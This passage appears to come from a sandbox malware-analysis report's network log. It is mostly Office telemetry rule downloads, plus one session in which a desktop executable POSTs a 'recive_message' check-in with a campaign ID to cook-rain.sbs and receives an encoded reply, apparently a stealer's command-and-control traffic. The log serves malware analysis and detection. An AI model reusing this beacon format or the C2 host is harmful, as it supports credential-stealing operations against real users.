V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:22 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000222Z-178bfbc474bwlrhlhC1NYCy3kg000000026000000000c55p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:22 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49711	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:23 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-22 00:02:23 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-22 00:02:24 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hq25gmd8o5fmu2imvs4l2a742o; expires=Mon, 17-Mar-2025 17:49:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PDPkBvd5Wo41DmnhsuVe6X7bUIZZil1ob%2F9z4CgKSzt6FC1yzgEllag2qEhJMrhRPOU%2FXCLwT8nmCU7ZRujKj37ljYygDx43sOt%2Bgjzh9g%2FmbTrdBfL0rRddGLQ8vDEc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6844aa619b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1529596&cwnd=170&unsent_bytes=0&cid=8c527e2cf000b06e&ts=753&x=0"
2024-11-22 00:02:24 UTC	364	IN	Data Raw: 34 34 36 63 0d 0a 2f 55 41 56 52 65 32 38 4f 78 33 58 46 4d 4e 72 72 36 78 41 46 44 74 43 76 55 62 74 32 75 71 7a 34 38 68 64 4b 68 45 77 37 31 57 47 59 6d 4e 6e 31 34 67 58 50 36 52 78 34 56 48 62 33 6a 56 78 46 32 44 63 49 73 2f 67 6a 4e 4b 50 75 7a 67 47 4d 30 61 43 64 38 63 6d 64 43 6d 65 32 52 63 2f 73 6d 7a 68 55 66 54 58 59 6e 46 56 59 49 64 6b 69 4c 43 49 30 6f 2b 71 50 45 46 2b 51 49 4d 32 6c 53 78 79 4c 59 6a 66 58 33 79 37 65 61 59 4f 79 73 30 71 65 6c 49 76 31 53 76 50 39 73 6a 57 6d 65 70 6e 43 46 78 56 6d 7a 53 77 49 57 59 75 7a 38 45 58 5a 76 56 78 72 55 6d 56 6a 69 46 78 57 53 37 62 49 6f 61 79 67 74 75 48 71 7a 6c 41 59 56 6d 4a 50 5a 55 69 63 53 79 43 31 6b 74 78 73 58 36 74 43 4d 44 4e 59 6a 67 5a 4a 38 64 6b 31 2f 6a 62 34 34 4b 37 4c Data Ascii: 446c/UAVRe28Ox3XFMNrr6xAFDtCvUbt2uqz48hdKhEw71WGYmNn14gXP6Rx4VHb3jVxF2DcIs/gjNKPuzgGM0aCd8cmdCme2Rc/smzhUfTXYnFVYIdkiLCI0o+qPEF+QIM2lSxyLYjfX3y7eaYOys0qelIv1SvP9sjWmepnCFxVmzSwIWYuz8EXZvVxrUmVjiFxWS7bIoaygtuHqzlAYVmJPZUicSyC1ktxsX6tCMDNYjgZJ8dk1/jb44K7L
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 2f 46 4b 33 74 55 49 4e 49 75 67 4c 75 49 31 6f 75 67 4d 45 4a 33 58 34 41 78 6e 79 49 33 61 63 2f 5a 51 54 2f 74 4e 6f 49 4d 33 63 6b 75 59 42 73 61 6e 7a 76 42 6f 63 6a 57 6a 65 70 6e 43 48 74 58 6a 6a 53 55 4c 58 51 76 68 4d 78 5a 62 62 4e 37 70 42 76 4c 79 79 78 38 57 6a 4c 56 4b 6f 6d 37 67 64 71 49 72 7a 68 4d 4d 78 7a 4e 4d 49 64 69 4c 32 65 75 30 31 4a 7a 76 32 47 68 53 64 4b 41 4f 7a 5a 65 4c 4a 39 38 7a 37 79 4a 31 59 43 75 4d 55 5a 33 58 6f 73 35 6b 69 31 78 4c 59 2f 5a 55 33 65 39 64 36 77 43 77 73 34 6e 65 31 30 6d 30 79 57 4b 2b 4d 61 52 68 72 4a 2f 45 44 4e 38 69 6a 53 4e 59 45 49 6b 67 64 42 65 61 66 56 70 37 78 43 4e 79 53 34 32 41 57 44 52 49 59 43 71 69 63 4f 45 70 43 31 45 64 6c 53 41 4e 4a 45 69 63 69 43 43 30 46 39 34 74 6e 36 6c 43 Data Ascii: /FK3tUINIugLuI1ougMEJ3X4AxnyI3ac/ZQT/tNoIM3ckuYBsanzvBocjWjepnCHtXjjSULXQvhMxZbbN7pBvLyyx8WjLVKom7gdqIrzhMMxzNMIdiL2eu01Jzv2GhSdKAOzZeLJ98z7yJ1YCuMUZ3Xos5ki1xLY/ZU3e9d6wCws4ne10m0yWK+MaRhrJ/EDN8ijSNYEIkgdBeafVp7xCNyS42AWDRIYCqicOEpC1EdlSANJEiciCC0F94tn6lC
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 32 41 57 44 54 4c 59 2b 7a 67 74 57 42 72 54 4a 4e 63 46 57 4f 4f 70 67 6f 65 53 43 4c 30 6c 42 79 73 33 61 6d 44 63 6a 63 4a 33 39 56 4c 4a 39 71 7a 37 2b 51 6b 64 6e 71 45 45 39 6c 55 61 49 30 6a 69 73 33 4f 4d 48 48 47 58 69 35 4e 76 6c 4a 79 73 73 71 66 56 38 6f 33 7a 61 4b 74 6f 50 51 69 36 77 2b 52 58 39 55 6a 54 61 66 4a 48 73 6e 69 4e 6c 4c 62 62 42 77 73 77 4f 4e 67 47 4a 78 51 57 43 48 5a 4c 6d 6f 6e 38 43 58 36 41 70 4c 66 56 79 4b 49 64 38 39 4f 54 37 50 32 56 55 2f 37 54 61 71 43 63 48 4a 4b 6e 42 64 4b 4e 41 72 68 71 71 4a 33 59 2b 34 4f 45 68 36 58 49 49 37 6c 69 39 77 4b 6f 54 55 56 48 75 79 64 2b 46 48 6a 63 6b 36 4e 67 46 67 36 54 53 43 74 4b 62 61 6a 61 4e 2f 56 7a 31 4c 7a 54 43 54 59 69 39 6e 69 39 4a 52 64 62 70 2f 71 77 50 43 78 79 Data Ascii: 2AWDTLY+zgtWBrTJNcFWOOpgoeSCL0lBys3amDcjcJ39VLJ9qz7+QkdnqEE9lUaI0jis3OMHHGXi5NvlJyssqfV8o3zaKtoPQi6w+RX9UjTafJHsniNlLbbBwswONgGJxQWCHZLmon8CX6ApLfVyKId89OT7P2VU/7TaqCcHJKnBdKNArhqqJ3Y+4OEh6XII7li9wKoTUVHuyd+FHjck6NgFg6TSCtKbajaN/Vz1LzTCTYi9ni9JRdbp/qwPCxy
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 6b 57 53 49 6f 4d 69 4a 77 59 55 59 66 54 46 7a 74 33 65 41 62 47 35 6e 69 4e 49 5a 4a 2f 56 36 6f 67 58 46 77 53 52 2f 56 53 72 57 4c 34 4f 7a 6a 4e 32 49 72 7a 6c 4a 64 6c 65 4d 4d 35 4d 6f 63 53 53 4d 30 56 5a 77 76 54 62 76 53 63 72 57 59 69 34 5a 42 63 67 76 67 62 37 49 7a 73 2b 7a 66 30 39 2f 45 74 56 33 6b 79 74 78 49 59 72 53 57 48 6d 39 63 36 6b 4e 7a 4d 67 6b 64 56 59 6b 32 69 57 41 76 49 54 66 69 36 73 2b 52 48 68 64 68 6a 4c 66 62 44 63 67 6c 35 34 42 50 34 52 31 74 78 37 64 77 6d 4a 70 46 7a 6d 66 49 34 50 34 30 4a 47 41 75 44 56 43 66 56 65 43 4d 70 77 74 63 43 71 4a 30 6c 4e 32 76 58 43 75 41 4e 2f 4e 4c 6e 68 65 4c 74 4d 71 67 72 4b 4c 33 4d 48 6b 66 30 39 72 45 74 56 33 73 79 56 36 43 59 54 53 58 6a 2b 71 4f 4c 68 4a 79 73 4a 69 4c 68 6b Data Ascii: kWSIoMiJwYUYfTFzt3eAbG5niNIZJ/V6ogXFwSR/VSrWL4OzjN2IrzlJdleMM5MocSSM0VZwvTbvScrWYi4ZBcgvgb7Izs+zf09/EtV3kytxIYrSWHm9c6kNzMgkdVYk2iWAvITfi6s+RHhdhjLfbDcgl54BP4R1tx7dwmJpFzmfI4P40JGAuDVCfVeCMpwtcCqJ0lN2vXCuAN/NLnheLtMqgrKL3MHkf09rEtV3syV6CYTSXj+qOLhJysJiLhk
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 4b 69 59 30 73 4f 62 4b 55 74 6c 57 59 41 37 33 7a 30 35 50 73 2f 5a 56 54 2f 74 4e 71 63 47 78 4d 30 74 64 31 41 73 30 69 47 47 76 59 6e 58 68 61 41 31 53 48 56 55 6a 44 4b 56 49 58 59 74 68 74 6c 52 65 4c 5a 6b 34 55 65 4e 79 54 6f 32 41 57 44 32 49 35 32 32 6d 4a 47 65 35 43 59 49 64 46 37 4e 62 39 38 6d 66 53 69 4c 32 56 56 35 73 48 43 73 43 4d 4c 50 49 6e 6c 64 4b 39 59 69 6a 72 57 4e 33 49 57 34 4e 55 4e 38 58 6f 51 37 6b 6d 49 35 5a 34 6a 47 47 53 66 31 52 36 77 48 77 38 6b 30 4e 6b 5a 75 78 6d 53 49 74 4d 69 4a 77 61 73 7a 52 33 42 64 6a 6a 53 65 4b 47 55 31 67 39 64 52 65 72 6c 39 72 77 2f 66 79 43 31 2f 57 69 50 57 49 34 65 30 67 74 4b 47 36 6e 45 49 64 45 72 4e 62 39 38 42 59 44 65 43 6e 6b 59 78 72 44 61 6d 42 59 32 57 59 6e 35 55 4b 4e 55 67 Data Ascii: KiY0sObKUtlWYA73z05Ps/ZVT/tNqcGxM0td1As0iGGvYnXhaA1SHVUjDKVIXYthtlReLZk4UeNyTo2AWD2I522mJGe5CYIdF7Nb98mfSiL2VV5sHCsCMLPInldK9YijrWN3IW4NUN8XoQ7kmI5Z4jGGSf1R6wHw8k0NkZuxmSItMiJwaszR3BdjjSeKGU1g9dRerl9rw/fyC1/WiPWI4e0gtKG6nEIdErNb98BYDeCnkYxrDamBY2WYn5UKNUg
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 57 4a 71 54 39 4d 64 31 57 49 4e 4a 4d 70 63 43 53 41 32 6c 42 78 76 48 6e 68 52 34 33 4a 4f 6a 59 42 59 50 34 2f 6a 4c 53 46 6b 5a 37 6b 4a 67 68 30 58 73 31 76 33 79 35 35 49 6f 2f 55 58 33 75 77 63 4b 73 4d 7a 63 55 68 65 56 30 6d 32 79 75 50 73 34 48 51 68 36 38 31 51 33 56 66 6a 6a 47 5a 59 6a 6c 6e 69 4d 59 5a 4a 2f 56 57 75 67 54 42 79 57 4a 70 46 7a 6d 66 49 34 50 34 30 4a 47 4b 70 6a 74 50 63 31 2b 4f 50 35 6f 6d 66 53 4b 50 31 6b 74 33 74 58 47 7a 47 38 33 48 4a 33 70 61 49 4e 73 69 68 72 36 4c 31 63 48 6b 66 30 39 72 45 74 56 33 73 69 35 77 44 6f 6a 46 47 57 44 37 62 2b 45 4f 77 59 35 36 4e 6c 67 72 31 53 75 43 75 34 37 53 69 71 38 31 53 58 52 61 67 43 57 63 4c 58 67 6a 6a 39 46 66 65 62 52 35 70 77 37 45 7a 79 70 78 47 57 36 66 49 35 66 34 30 Data Ascii: WJqT9Md1WINJMpcCSA2lBxvHnhR43JOjYBYP4/jLSFkZ7kJgh0Xs1v3y55Io/UX3uwcKsMzcUheV0m2yuPs4HQh681Q3VfjjGZYjlniMYZJ/VWugTByWJpFzmfI4P40JGKpjtPc1+OP5omfSKP1kt3tXGzG83HJ3paINsihr6L1cHkf09rEtV3si5wDojFGWD7b+EOwY56Nlgr1SuCu47Siq81SXRagCWcLXgjj9FfebR5pw7EzypxGW6fI5f40
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 6f 52 7a 4d 63 7a 54 6a 66 65 6b 35 6e 68 74 6c 43 62 71 4e 37 73 51 36 4e 38 57 77 32 51 57 43 48 5a 4c 71 37 68 74 2b 47 76 43 34 46 56 45 53 48 4d 49 38 6c 59 43 6a 50 6b 42 6c 35 39 53 37 79 52 34 33 4b 4d 7a 59 42 63 49 31 2f 32 75 76 66 67 64 4f 31 63 56 45 7a 52 4d 31 76 7a 57 77 33 4e 63 2b 47 47 54 69 32 5a 4c 4d 50 7a 74 67 68 4d 57 63 65 2b 44 36 43 76 70 2f 41 76 35 51 34 55 6e 35 55 6d 69 62 54 4e 33 51 70 67 64 6c 50 50 2f 73 32 72 6b 6d 56 39 32 49 2b 47 52 2b 52 5a 4a 66 34 30 4a 47 30 71 54 46 47 64 45 53 63 65 72 67 34 65 69 47 59 7a 78 6b 78 39 58 44 68 55 5a 32 41 59 6e 4a 49 59 49 64 30 33 65 50 64 67 74 62 36 62 56 63 39 53 38 30 68 33 33 6f 6c 61 63 2f 4d 47 53 66 31 4d 61 49 62 33 38 67 68 59 46 70 6e 34 52 71 68 76 34 37 55 68 72 Data Ascii: oRzMczTjfek5nhtlCbqN7sQ6N8Ww2QWCHZLq7ht+GvC4FVESHMI8lYCjPkBl59S7yR43KMzYBcI1/2uvfgdO1cVEzRM1vzWw3Nc+GGTi2ZLMPztghMWce+D6Cvp/Av5Q4Un5UmibTN3QpgdlPP/s2rkmV92I+GR+RZJf40JG0qTFGdEScerg4eiGYzxkx9XDhUZ2AYnJIYId03ePdgtb6bVc9S80h33olac/MGSf1MaIb38ghYFpn4Rqhv47Uhr
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 51 38 41 51 6b 53 56 32 4d 5a 2f 4a 56 6a 2f 37 4e 71 64 4a 6c 5a 78 73 4e 6c 30 78 6e 33 7a 66 36 74 4f 45 30 76 31 76 47 6d 77 63 6c 48 65 4a 59 69 39 31 77 5a 35 4c 50 2b 30 32 35 67 72 66 33 43 52 31 54 79 4f 59 47 72 47 66 68 74 61 41 76 43 39 66 66 42 32 6a 41 62 34 63 53 54 4b 4d 30 46 64 34 6f 32 66 68 52 34 33 42 59 69 35 67 59 4a 64 6b 73 50 62 49 79 63 48 79 66 33 31 77 58 49 4d 77 69 54 4d 36 41 49 48 5a 57 47 6d 6c 59 61 35 47 34 2f 67 44 4e 68 64 67 32 57 54 58 36 73 61 52 68 62 74 2f 45 43 4d 41 31 6d 4c 4d 64 53 64 31 6b 4a 42 41 50 36 4d 32 2b 56 75 44 6a 6a 41 32 41 57 43 59 4a 35 32 71 6a 74 4b 58 71 58 68 32 54 58 57 44 4d 4a 34 30 5a 79 71 44 2f 31 70 75 76 30 69 66 48 4d 37 41 4c 48 46 50 4d 5a 39 71 7a 37 66 49 69 62 6a 71 64 77 68 Data Ascii: Q8AQkSV2MZ/JVj/7NqdJlZxsNl0xn3zf6tOE0v1vGmwclHeJYi91wZ5LP+025grf3CR1TyOYGrGfhtaAvC9ffB2jAb4cSTKM0Fd4o2fhR43BYi5gYJdksPbIycHyf31wXIMwiTM6AIHZWGmlYa5G4/gDNhdg2WTX6saRhbt/ECMA1mLMdSd1kJBAP6M2+VuDjjA2AWCYJ52qjtKXqXh2TXWDMJ40ZyqD/1puv0ifHM7ALHFPMZ9qz7fIibjqdwh
2024-11-22 00:02:24 UTC	1369	IN	Data Raw: 62 49 77 63 44 65 4d 6e 48 56 34 75 48 71 66 4e 2f 72 66 4a 57 59 62 42 74 77 79 6a 50 6a 47 6b 5a 6e 71 5a 77 68 65 51 49 6f 6e 6e 47 42 62 49 49 4c 53 47 57 44 37 62 2b 45 66 6a 5a 5a 78 4f 42 6b 79 6e 33 7a 50 2f 34 76 44 6b 36 77 38 58 6e 41 56 73 77 6d 79 4d 48 41 33 6a 4a 78 6f 63 72 46 67 74 41 72 64 79 52 78 49 64 44 4c 59 4e 49 7a 36 72 65 76 44 6d 79 6c 4c 63 31 79 4b 64 39 46 69 62 32 66 58 6e 6e 52 74 73 6d 61 69 53 2b 6a 30 59 45 64 50 49 39 38 71 69 50 69 58 6e 35 6a 71 4b 51 67 72 41 63 4e 33 6a 57 49 76 5a 38 6a 51 56 48 36 32 65 4b 49 62 33 38 67 68 59 46 70 6e 34 52 71 67 73 34 6e 42 6a 4c 73 79 54 47 56 73 73 78 43 5a 4a 33 41 5a 73 65 6c 49 65 4b 55 30 68 77 72 62 7a 57 49 34 47 54 69 66 66 4d 2b 66 6a 74 53 47 36 6e 45 49 64 78 4c 56 Data Ascii: bIwcDeMnHV4uHqfN/rfJWYbBtwyjPjGkZnqZwheQIonnGBbIILSGWD7b+EfjZZxOBkyn3zP/4vDk6w8XnAVswmyMHA3jJxocrFgtArdyRxIdDLYNIz6revDmylLc1yKd9Fib2fXnnRtsmaiS+j0YEdPI98qiPiXn5jqKQgrAcN3jWIvZ8jQVH62eKIb38ghYFpn4Rqgs4nBjLsyTGVssxCZJ3AZselIeKU0hwrbzWI4GTiffM+fjtSG6nEIdxLV

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:24 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000224Z-178bfbc474bq2pr7hC1NYCkfgg000000028g00000000msav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:24 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000224Z-15b8b599d882l6clhC1TEBxd5c00000000hg0000000052v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:24 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000224Z-174c587ffdf9xbcchC1TEBxkz400000000f00000000029d3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:24 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:24 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000224Z-15b8b599d88g5tp8hC1TEByx6w00000000mg00000000bhup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:24 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 